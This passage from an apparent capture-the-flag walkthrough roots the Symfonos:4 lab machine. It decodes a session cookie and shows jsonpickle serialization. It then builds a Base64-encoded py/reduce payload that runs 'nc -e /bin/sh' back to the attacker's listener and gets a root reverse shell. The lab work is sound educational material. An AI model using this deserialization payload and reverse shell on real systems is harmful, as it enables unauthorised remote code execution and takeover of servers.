poseidon@symfonos4:~$ 

Now, it’s time to access the forwarded service in a browser.  Navigate to http://localhost:8080  the attacking machine.

Upon access,  the page redirected to 127.0.0.1:8080/whoami , displaying the message: 

Cookie set: Poseidon

It also provided a link labeled " Main Page ," which appeared to lead to a different section of the site.

Clicking on the " Main Page " link revealed a simple, likely personal or test website. 

The page featured, an image of Poseidon, the Greek god of the sea , holding a trident and also a welcoming message: 

Welcome back, Poseidon!

The previously displayed message, "Cookie set: Poseidon", suggests that the cookie may contain exploitable information or be useful for session hijacking


Investigating the Cookie for Potential Deserialization Exploits

To investigate further, we accessed the browser's Developer Tools and navigated to the Storage section to inspect the cookie.

The cookie value was found to be:

eyJweS9vYmplY3QiOiAiYXBwLlVzZXIiLCAidXNlcm5hbWUiOiAiUG9zZWlkb24ifQ==

This string resembles Base64 encoding , potentially holding critical information about the user session or application functionality.

To understand its contents, we used a Base64 decoder to decode the cookie. 

┌──(kali㉿kali)-[~]
└─$ echo 'eyJweS9vYmplY3QiOiAiYXBwLlVzZXIiLCAidXNlcm5hbWUiOiAiUG9zZWlkb24ifQ==' | base64 -d
{"py/object": "app.User", "username": "Poseidon"}                                                                                                                                                          
┌──(kali㉿kali)-[~]
└─$

The decoded output revealed:

{"py/object": "app.User", "username": "Poseidon"} 

The decoded cookie contains the following information:

  • "py/object": "app.User" : Indicates the object belongs to a Python-based application, likely serialized with Python’s pickle module or a similar library.
  • "username": "Poseidon" : Confirms the username associated with the current session.

This serialized data suggests potential vulnerability to deserialization attacks if the server lacks validation mechanisms. Such attacks could enable privilege escalation or arbitrary code execution. 


To test this vulnerability, we will modify the username field in the cookie to test whether it allows the impersonation of other users or escalates privileges.

┌──(kali㉿kali)-[~]
└─$ echo -n '{"py/object": "app.User", "username": " my name "}' | base64                    
eyJweS9vYmplY3QiOiAiYXBwLlVzZXIiLCAidXNlcm5hbWUiOiAibXkgbmFtZSJ9
                                                                                                                                                          
┌──(kali㉿kali)-[~]
└─$

After editing the username, the manipulated cookie is then injected back into the session via the browser's Developer Tools under the Storage section.

The server accepts the altered cookie, confirming its vulnerability to serialized object manipulation

This provides an opportunity to exploit the deserialization process by injecting a malicious payload designed to execute commands or escalate privileges.

Refresh the browser after altering:

The modification was successful, and the application accepted the manipulated cookie. This suggests the server is vulnerable to serialized object manipulation, opening a path to inject a malicious payload for further exploitation.

Now, we look for opportunities to exploit the cookie by injecting malicious payloads into serialized Python objects, using shell commands to trigger a reverse shell. 


Privilege Escalation via Deserialization of Serialized Session Cookies

To proceed, it is critical to understand the JSON structure and how the serialization mechanism, such as,  jsonpickle , works. This library supports complex Python object serialization, including custom classes and functions, making it susceptible to exploitation if improperly implemented.

The exploitation process begins by crafting a malicious payload designed to execute commands during deserialization. 

{"py/object":" __main__.Shell ","py/reduce":[{"py/function":" os.system "}, ["/usr/bin/nc -e /bin/sh LHOST LPORT"],0,0,0] }

A serialized JSON object is constructed with the following structure:

  • The payload will invoke the os.system() function to establish a reverse shell connection. 
  • In this JSON structure, we have to specify the attacker's IP and listening port in the payload, ensuring it targets the attacker’s machine for the reverse connection.

To inject the malicious payload into the vulnerable application, serialize the JSON object and encode it using Base64, as the application expects the cookie in this format.

┌──(kali㉿kali)-[~]
└─$ echo -n '{"py/object":"__main__.Shell","py/reduce":[{"py/function":"os.system"},["/usr/bin/nc -e /bin/sh 192.168.103.3 4444 "],0,0,0]}' | base64
eyJweS9vYmplY3QiOiJfX21haW5fXy5TaGVsbCIsInB5L3JlZHVjZSI6W3sicHkvZnVuY3Rpb24i
OiJvcy5zeXN0ZW0ifSxbIi91c3IvYmluL25jIC1lIC9iaW4vc2ggMTkyLjE2OC4xMDMuMyA0NDQ0
Il0sMCwwLDBdfQ==
                                                                                                                                                          
┌──(kali㉿kali)-[~]
└─$ 

With the payload prepared, replace the original cookie value in the application's session with the Base64-encoded malicious payload through the browser's Developer Tools in the Storage section.

Before triggering the payload, set up the machine to receive the reverse shell connection. On a terminal, start a netcat listener using the command: nc -lvnp 4444

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...

Next, perform an action that compels the server to process the manipulated cookie, such as refreshing the page. 

When the server deserializes the payload, it executes the malicious code, triggering the reverse shell and establishing a connection to the attacker's machine.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.103.3] from (UNKNOWN) [192.168.103.16] 60360

Once the payload is executed, the reverse shell connection will be visible in the listener terminal. 


Verify the Privilege and obtain the Flag

To improve usability, upgrade the shell to a fully interactive TTY shell.  Use Python to achieve this by running: python -c 'import pty; pty.spawn("/bin/bash")'

python -c "import pty;pty.spawn('/bin/bash')"
root@symfonos4:/opt/code# 

This upgrade enables terminal features such as tab completion and command history, providing a stable environment for further exploitation. 

Upon confirming the connection, execute the whoami command in the shell. 

root@symfonos4:/opt/code# whoami
whoami
root
root@symfonos4:/opt/code#

The output confirms that the current user is root , validating successful privilege escalation. The next step is to locate the root flag, typically stored in the root directory. 

Change to the /root directory using: cd /root

root@symfonos4:/opt/code# cd /root
cd /root
root@symfonos4:~# ls -al 
ls -al
total 24
drwx------  3 root root 4096 Aug 19  2019 .
drwxr-xr-x 18 root root 4096 Aug 17  2019 ..
lrwxrwxrwx  1 root root    9 Aug 18  2019 .bash_history -> /dev/null
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
drwxr-xr-x  3 root root 4096 Aug 19  2019 .local
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-r--r--  1 root root 1276 Aug 19  2019 proof.txt
root@symfonos4:~# 

Here, we found the root flag, proof.txt . Use the cat command to view its contents and complete the challenge: cat proof.txt

root@symfonos4:~# cat proof.txt
cat proof.txt

        Congrats on rooting symfonos:4!
 ~         ~            ~     w   W   w
                    ~          \  |  /       ~
        ~        ~        ~     \.|./    ~
                                  |
                       ~       ~  |           ~
       o        ~   .:.:.:.       | ~
  ~                 wwWWWww      //   ~
            ((c     ))"""((     //|        ~
   o       /\/\((  (( 6 6 ))   // |  ~
          (d d  ((  )))^(((   //  |
     o    /   / c((-(((')))-.//   |     ~
         /===/ `) (( )))(( ,_/    |~
  ~     /o o/  / c((( (()) |      |  ~          ~
     ~  `~`^  / c (((  ))  |      |          ~
             /c  c(((  (   |  ~   |      ~
      ~     /  c  (((  .   |      |   ~           ~
           / c   c ((^^^^^^`\   ~ | ~        ~
          |c  c c  c((^^^ ^^^`\   |
  ~        \ c   c   c(^^^^^^^^`\ |    ~
       ~    `\ c   c  c;`\^^^^^./ |             ~
              `\c c  c  ;/^^^^^/  |  ~
   ~        ~   `\ c  c /^^^^/' ~ |       ~
         ~        `;c   |^^/'     o
             .-.  ,' c c//^\\         ~
     ~      ( @ `.`c  -///^\\\  ~             ~
             \ -` c__/|/     \|
      ~       `---'   '   ~   '          ~
 ~          ~          ~           ~             ~
        Contact me via Twitter @zayotic to give feedback!

root@symfonos4:~# 

This marks the successful conclusion of the attack. If you have any questions or need further clarification, feel free to leave a comment. 

Tags

Post a Comment

0 Comments
* Please Don't Spam Here. All the Comments are Reviewed by Admin.

#buttons=(Ok, Go it!) #days=(20)

Our website uses cookies to enhance your experience. Learn More
Ok, Go it!